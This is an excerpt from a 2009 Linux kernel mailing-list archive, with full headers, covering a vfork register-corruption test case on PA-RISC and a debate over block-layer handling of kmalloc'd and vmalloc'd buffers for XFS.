	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1764057AbZLQUjH convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 15:39:07 -0500
Original-Received: by bwz27 with SMTP id 27so1768493bwz.21
        for <linux-parisc@vger.kernel.org>; Thu, 17 Dec 2009 12:39:02 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=XU1VcZ6XfqrZ02qhDfrOCICDgM8gn9csKt/4WP6KYoA=;
        b=PTyctU4tzBzeezbDAJBz5h/2chm3nGk+P9vY01VnkGfrEhK+Q2Bex7tq2ZScRbWtRz
         e13wtoRj/tl4bqfUfYMv8YyTbUfmW5THZY2xr1weO1aeEGrVUsTtp0VLptULn/VrNIjn
         LPFkVUzhVfNCyYPc3JyeppDasbZm6SndIxuyM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=YBT2Orxn0Lv9LAOAUaImDNPQ58CqjGMHwuT2YDUQNWR3clEHgYhjXaxpeJrWe3LlNU
         edJP3tYuITNopfGW5itpCmKC0RJykqvwmYNdHKg1yQox0KMOdVctL+qS5uXkvSL5Ge8G
         hO2edjfx0C5dWxElDazTHwoN5NAwWRmzQqLrs=
Original-Received: by 10.204.11.19 with SMTP id r19mr1633862bkr.205.1261082342813; Thu, 
	17 Dec 2009 12:39:02 -0800 (PST)
In-Reply-To: <4B2A82AA.10907@gmx.de>
X-Google-Sender-Auth: dc473e46be136584
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2458
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2458>

On Thu, Dec 17, 2009 at 2:12 PM, Helge Deller <deller@gmx.de> wrote:
> I couldn't reproduce on my SMP box either (but it's PA8500 instead of
> PA8700):
> cpu =A0 =A0 =A0 =A0 =A0 =A0 : PA8500 (PCX-W)
> model =A0 =A0 =A0 =A0 =A0 : 9000/785/J5000
> Linux ls3017 2.6.32-32bit #79 SMP Thu Dec 3 14:04:53 CET 2009 parisc
> GNU/Linux

Thanks Helge. This was a 64-bit box with SMP. It's possible part of
the 64-bit kernel is being incorrectly compiled.

I am not yet able to boot 2.6.32.

I'm getting problems in the initrd while waiting for /dev/sda1 to
appear, but it never does.

Once I resolve that I will see if the testcase works with 2.6.32.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Berthold Gunreben <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Thu, 17 Dec 2009 22:40:22 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <200912172240.22252.b.gunreben@web.de>
References: <119aab440912061319y5b863203ve5dc3dc568a6ccec@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261086035 18818 80.91.229.12 (17 Dec 2009 21:40:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 21:40:35 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 22:40:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLO5B-00080p-Q4
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 22:40:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760036AbZLQVkZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 16:40:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765377AbZLQVkZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 16:40:25 -0500
Original-Received: from fmmailgate01.web.de ([217.72.192.221]:60980 "EHLO
	fmmailgate01.web.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760036AbZLQVkZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 16:40:25 -0500
Original-Received: from smtp06.web.de (fmsmtp06.dlan.cinetic.de [172.20.5.172])
	by fmmailgate01.web.de (Postfix) with ESMTP id 9EF201422B15B
	for <linux-parisc@vger.kernel.org>; Thu, 17 Dec 2009 22:40:23 +0100 (CET)
Original-Received: from [217.229.42.121] (helo=hydra.localnet)
	by smtp06.web.de with asmtp (TLSv1:AES256-SHA:256)
	(WEB.DE 4.110 #314)
	id 1NLO59-0004Ng-00
	for linux-parisc@vger.kernel.org; Thu, 17 Dec 2009 22:40:23 +0100
User-Agent: KMail/1.12.2 (Linux/2.6.31.5-0.1-default; KDE/4.3.1; i686; ; )
In-Reply-To: <119aab440912061319y5b863203ve5dc3dc568a6ccec@mail.gmail.com>
X-Sender: b.gunreben@web.de
X-Provags-ID: V01U2FsdGVkX18jVJvPDXmhy2I8WB6TnAIIewjNjxZSDoCY+TNd
	mVG3ZN2Hj56JaSoVKUbfmQ5LzxL1iK9e91AfvtLET/6/4UthEf
	oQjDHtxJ4=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2459
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2459>

Hi Carlos,

On Sunday 06 December 2009 22:19:13 Carlos O'Donell wrote:
> Kyle, James,
> 
> I have constructed a vfork test case which shows some of the problems
> I have using vfork reliably. This fails every time on my PA8700 system
> running 2.6.32-rc6. It appears as though r28 (ret0) in the parent is
> being corrupted.

this reminds me of a problem with vfork that I encountered some years ago. The 
problem as described in 
http://sourceware.org/ml/libc-alpha/2003-02/msg00042.html
was fixed for many architectures, but not for hppa as far as I remember. See 
also 
http://sourceware.org/ml/libc-hacker/2003-02/msg00015.html

I have no idea if this is related, but thought it won't hurt to mention this.

Berthold

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Thu, 17 Dec 2009 16:59:28 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <119aab440912171359k2fff19feya6e1eb2b3e81c0ac@mail.gmail.com>
References: <119aab440912061319y5b863203ve5dc3dc568a6ccec@mail.gmail.com>
	 <200912172240.22252.b.gunreben@web.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1261087183 22577 80.91.229.12 (17 Dec 2009 21:59:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 21:59:43 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Berthold Gunreben <b.gunreben@web.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 22:59:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLONg-00042v-SG
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 22:59:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760060AbZLQV7b (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 16:59:31 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756610AbZLQV7b
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 16:59:31 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:33791 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760060AbZLQV7a (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 16:59:30 -0500
Original-Received: by bwz27 with SMTP id 27so1814085bwz.21
        for <linux-parisc@vger.kernel.org>; Thu, 17 Dec 2009 13:59:28 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=jf0lkRjCCMmq5k9qfJV9KQSuMWdJ9915/9QuBclY47Y=;
        b=mQE+cu1COvqprgT1X27vh+wOmPArgySCG34aJE+9bVJctJ+K4XfZ0eUo7I2uUAOl70
         damPShoeDwfWw5iPpfIjA1Pz1hINbpli83nu3mhi2Va0T7Ul8MWYosgnfS5QkxcErkdy
         so90PsOrGTJtbezcBuCuW6mRujNOm7iBWYgTo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=JdDfg2DGPQqKphImZqaPVbVTAufrTS1rWih/W1cLwy9KwfqrTROtgfw4tsA5ChlDvZ
         T8u/w0+NX3aegYnKZLmsuKAsxmL8184Eb5Qq6EUYMHWDnkxNu2c+lkrdgRyjq3yA4NJ9
         xsndm7Wy2ABEgeu2G8sdR5uuw6SbIptuUdyAY=
Original-Received: by 10.204.11.19 with SMTP id r19mr1683271bkr.205.1261087168190; Thu, 
	17 Dec 2009 13:59:28 -0800 (PST)
In-Reply-To: <200912172240.22252.b.gunreben@web.de>
X-Google-Sender-Auth: 943cead494bf6ce4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2460
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2460>

On Thu, Dec 17, 2009 at 4:40 PM, Berthold Gunreben <b.gunreben@web.de> wrote:
> Hi Carlos,
>
> On Sunday 06 December 2009 22:19:13 Carlos O'Donell wrote:
>> Kyle, James,
>>
>> I have constructed a vfork test case which shows some of the problems
>> I have using vfork reliably. This fails every time on my PA8700 system
>> running 2.6.32-rc6. It appears as though r28 (ret0) in the parent is
>> being corrupted.
>
> this reminds me of a problem with vfork that I encountered some years ago. The
> problem as described in
> http://sourceware.org/ml/libc-alpha/2003-02/msg00042.html
> was fixed for many architectures, but not for hppa as far as I remember. See
> also
> http://sourceware.org/ml/libc-hacker/2003-02/msg00015.html
>
> I have no idea if this is related, but thought it won't hurt to mention this.

That has to do with the assembly not checking the pthread function
lookup table to determine if it should call vfork or pthread's vfork.

In my test case there are no pthread functions calls.

Thanks for the pointer, the fix you point out is no longer needed in nptl.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Fri, 18 Dec 2009 00:57:00 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <1261094220.2752.27.camel@mulgrave.site>
References: <20091216043618.GB9104@hera.kernel.org>
	 <20091217132256.GO28962@bombadil.infradead.org>
	 <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain>
	 <20091217163036.GE2123@thunk.org>
	 <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain>
	 <20091217173957.GG2123@thunk.org>
	 <alpine.LFD.2.00.0912170950330.15740@localhost.localdomain>
	 <20091217193648.GI4489@kernel.dk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261094245 11767 80.91.229.12 (17 Dec 2009 23:57:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 23:57:25 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>, tytso@mit.edu,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	hch@infradead.org, linux-arch@vger.kernel.org
To: Jens Axboe <jens.axboe@oracle.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 00:57:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLQDb-0004XP-2s
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Dec 2009 00:57:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750850AbZLQX5O (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 18:57:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751165AbZLQX5O
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 18:57:14 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:33656 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750951AbZLQX5M (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 18:57:12 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id 75F6779727;
	Fri, 18 Dec 2009 00:57:05 +0100 (CET)
In-Reply-To: <20091217193648.GI4489@kernel.dk>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2461 gmane.linux.kernel:929444 gmane.linux.kernel.cross-arch:4900
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2461>

On Thu, 2009-12-17 at 20:36 +0100, Jens Axboe wrote:
> On Thu, Dec 17 2009, Linus Torvalds wrote:
> > 
> > 
> > On Thu, 17 Dec 2009, tytso@mit.edu wrote:
> > > 
> > > Sure, but there's some rumors/oral traditions going around that some
> > > block devices want bio address which are page aligned, because they
> > > want to play some kind of refcounting game,
> > 
> > Yeah, you might be right at that.
> > 
> > > And it's Weird Shit(tm) (aka iSCSI, AoE) type drivers, that most of us 
> > > don't have access to, so just because it works Just Fine on SATA doesn't 
> > > mean anything.
> > > 
> > > And none of this is documented anywhere, which is frustrating as hell.
> > > Just rumors that "if you do this, AoE/iSCSI will corrupt your file
> > > systems".
> > 
> > ACK. Jens? 
> 
> I've heard those rumours too, and I don't even know if they are true.
> Who has a pointer to such a bug report and/or issue? The block layer
> itself doesn't not have any such requirements, and the only places where
> we play page games is for bio's that were explicitly mapped with pages
> by itself (like mapping user data).o

OK, so what happened is that prior to the map single fix

commit df46b9a44ceb5af2ea2351ce8e28ae7bd840b00f
Author: Mike Christie  <michaelc@cs.wisc.edu>
Date:   Mon Jun 20 14:04:44 2005 +0200

    [PATCH] Add blk_rq_map_kern()


bio could only accept user space buffers, so we had a special path for
kernel allocated buffers.  That commit unified the path (with a separate
block API) so we could now submit kmalloc'd buffers via block APIs.

So the rule now is we can accept any user mapped area via
blk_rq_map_user and any kmalloc'd area via blk_rq_map_kern().  We might
not be able to do a stack area (depending on how the arch maps the
stack) and we definitely cannot do a vmalloc'd area.

So it sounds like we only need a blk_rq_map_vmalloc() using the same
techniques as the patch set and we're good to go.

> We fix driver crap like that, we don't work around it. It's a BUG.

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Fri, 18 Dec 2009 09:21:30 +0900
Lines: 21
Approved: news@gmane.org
Message-ID: <20091218091901J.fujita.tomonori@lab.ntt.co.jp>
References: <20091217163036.GE2123@thunk.org>
	<alpine.LFD.2.00.0912170839550.15740@localhost.localdomain>
	<20091217173957.GG2123@thunk.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261095761 15762 80.91.229.12 (18 Dec 2009 00:22:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2009 00:22:41 +0000 (UTC)
Cc: torvalds@linux-foundation.org, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	James.Bottomley@suse.de, hch@infradead.org,
	linux-arch@vger.kernel.org, jens.axboe@oracle.com
To: tytso@mit.edu
Original-X-From: linux-arch-owner@vger.kernel.org Fri Dec 18 01:22:33 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLQc3-0006Ws-RM
	for glka-linux-arch@lo.gmane.org; Fri, 18 Dec 2009 01:22:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752127AbZLRAWa (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 17 Dec 2009 19:22:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750926AbZLRAWa
	(ORCPT <rfc822;linux-arch-outgoing>);
	Thu, 17 Dec 2009 19:22:30 -0500
Original-Received: from sh.osrg.net ([192.16.179.4]:39834 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750895AbZLRAW3 (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Thu, 17 Dec 2009 19:22:29 -0500
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id nBI0LUv2019940;
	Fri, 18 Dec 2009 09:21:30 +0900
In-Reply-To: <20091217173957.GG2123@thunk.org>
Original-Lines: 21
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Fri, 18 Dec 2009 09:21:32 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.95.3 at sh
X-Virus-Status: Clean
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4901 gmane.linux.ports.parisc:2462 gmane.linux.kernel:929454
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2462>

On Thu, 17 Dec 2009 12:39:57 -0500
tytso@mit.edu wrote:

> On Thu, Dec 17, 2009 at 08:46:33AM -0800, Linus Torvalds wrote:
> > kmalloc() memory should be ok. It's backed by "real pages". Doing the DMA 
> > translations for such pages is trivial and fundamental.
> 
> Sure, but there's some rumors/oral traditions going around that some
> block devices want bio address which are page aligned, because they
> want to play some kind of refcounting game, and if you pass them a
> kmalloc() memory, they will explode in some interesting and
> entertaining way.  And it's Weird Shit(tm) (aka iSCSI, AoE) type
> drivers, that most of us don't have access to, so just because it
> works Just Fine on SATA doesn't mean anything.

iSCSI initiator driver should work with kmalloc'ed memory.

The reason why iSCSI didn't work with kmalloc'ed memory is that it
uses sendpage (which needs refcountable pages). We added a workaround
to not use sendpage with kmalloc'ed memory (it would be great if we
remove the workaround though).

From - Thu Nov 08 21:05:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Fri, 18 Dec 2009 10:00:21 +0900
Lines: 64
Approved: news@gmane.org
Message-ID: <20091218095944G.fujita.tomonori@lab.ntt.co.jp>
References: <alpine.LFD.2.00.0912170950330.15740@localhost.localdomain>
	<20091217193648.GI4489@kernel.dk>
	<1261094220.2752.27.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261098099 22668 80.91.229.12 (18 Dec 2009 01:01:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2009 01:01:39 +0000 (UTC)
Cc: jens.axboe@oracle.com, torvalds@linux-foundation.org,
	tytso@mit.edu, kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, hch@infradead.org,
	linux-arch@vger.kernel.org
To: James.Bottomley@suse.de
Original-X-From: linux-arch-owner@vger.kernel.org Fri Dec 18 02:01:30 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLRDl-0002X3-QW
	for glka-linux-arch@lo.gmane.org; Fri, 18 Dec 2009 02:01:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751003AbZLRBB3 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 17 Dec 2009 20:01:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751309AbZLRBB3
	(ORCPT <rfc822;linux-arch-outgoing>);
	Thu, 17 Dec 2009 20:01:29 -0500
Original-Received: from sh.osrg.net ([192.16.179.4]:37676 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751003AbZLRBB2 (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Thu, 17 Dec 2009 20:01:28 -0500
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id nBI10LAf022071;
	Fri, 18 Dec 2009 10:00:21 +0900
In-Reply-To: <1261094220.2752.27.camel@mulgrave.site>
Original-Lines: 64
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Fri, 18 Dec 2009 10:00:23 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.95.3 at sh
X-Virus-Status: Clean
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4902 gmane.linux.ports.parisc:2463 gmane.linux.kernel:929476
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2463>

On Fri, 18 Dec 2009 00:57:00 +0100
James Bottomley <James.Bottomley@suse.de> wrote:

> On Thu, 2009-12-17 at 20:36 +0100, Jens Axboe wrote:
> > On Thu, Dec 17 2009, Linus Torvalds wrote:
> > > 
> > > 
> > > On Thu, 17 Dec 2009, tytso@mit.edu wrote:
> > > > 
> > > > Sure, but there's some rumors/oral traditions going around that some
> > > > block devices want bio address which are page aligned, because they
> > > > want to play some kind of refcounting game,
> > > 
> > > Yeah, you might be right at that.
> > > 
> > > > And it's Weird Shit(tm) (aka iSCSI, AoE) type drivers, that most of us 
> > > > don't have access to, so just because it works Just Fine on SATA doesn't 
> > > > mean anything.
> > > > 
> > > > And none of this is documented anywhere, which is frustrating as hell.
> > > > Just rumors that "if you do this, AoE/iSCSI will corrupt your file
> > > > systems".
> > > 
> > > ACK. Jens? 
> > 
> > I've heard those rumours too, and I don't even know if they are true.
> > Who has a pointer to such a bug report and/or issue? The block layer
> > itself doesn't not have any such requirements, and the only places where
> > we play page games is for bio's that were explicitly mapped with pages
> > by itself (like mapping user data).o
> 
> OK, so what happened is that prior to the map single fix
> 
> commit df46b9a44ceb5af2ea2351ce8e28ae7bd840b00f
> Author: Mike Christie  <michaelc@cs.wisc.edu>
> Date:   Mon Jun 20 14:04:44 2005 +0200
> 
>     [PATCH] Add blk_rq_map_kern()
> 
> 
> bio could only accept user space buffers, so we had a special path for
> kernel allocated buffers.  That commit unified the path (with a separate
> block API) so we could now submit kmalloc'd buffers via block APIs.
> 
> So the rule now is we can accept any user mapped area via
> blk_rq_map_user and any kmalloc'd area via blk_rq_map_kern().  We might
> not be able to do a stack area (depending on how the arch maps the
> stack) and we definitely cannot do a vmalloc'd area.
> 
> So it sounds like we only need a blk_rq_map_vmalloc() using the same
> techniques as the patch set and we're good to go.

I'm not sure about it.

As I said before (when I was against this 'adding vmalloc support to
the block layer' stuff), are there potential users of this except for
XFS? Are there anyone who does such a thing now?

This API might be useful for only journaling file systems using log
formats that need large contiguous buffer. Sound like only XFS?

Even if we have some potential users, I'm not sure that supporting
vmalloc in the block layer officially is a good idea. IMO, it needs
too many tricks for generic code.

From - Thu Nov 08 21:05:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Chinner <david@fromorbit.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Fri, 18 Dec 2009 13:44:40 +1100
Lines: 80
Approved: news@gmane.org
Message-ID: <20091218024440.GG4850@discord.disaster>
References: <alpine.LFD.2.00.0912170950330.15740@localhost.localdomain> <20091217193648.GI4489@kernel.dk> <1261094220.2752.27.camel@mulgrave.site> <20091218095944G.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261104319 4371 80.91.229.12 (18 Dec 2009 02:45:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2009 02:45:19 +0000 (UTC)
Cc: James.Bottomley@suse.de, jens.axboe@oracle.com,
	torvalds@linux-foundation.org, tytso@mit.edu, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	hch@infradead.org, linux-arch@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1756609AbZLRCot@vger.kernel.org Fri Dec 18 03:45:08 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1756609AbZLRCot@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLSq3-0003gz-8t
	for glk-linux-kernel-3@lo.gmane.org; Fri, 18 Dec 2009 03:45:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756609AbZLRCot (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 17 Dec 2009 21:44:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756413AbZLRCor
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Thu, 17 Dec 2009 21:44:47 -0500
Original-Received: from bld-mail16.adl2.internode.on.net ([150.101.137.101]:34609 "EHLO
	mail.internode.on.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1754300AbZLRCoq (ORCPT
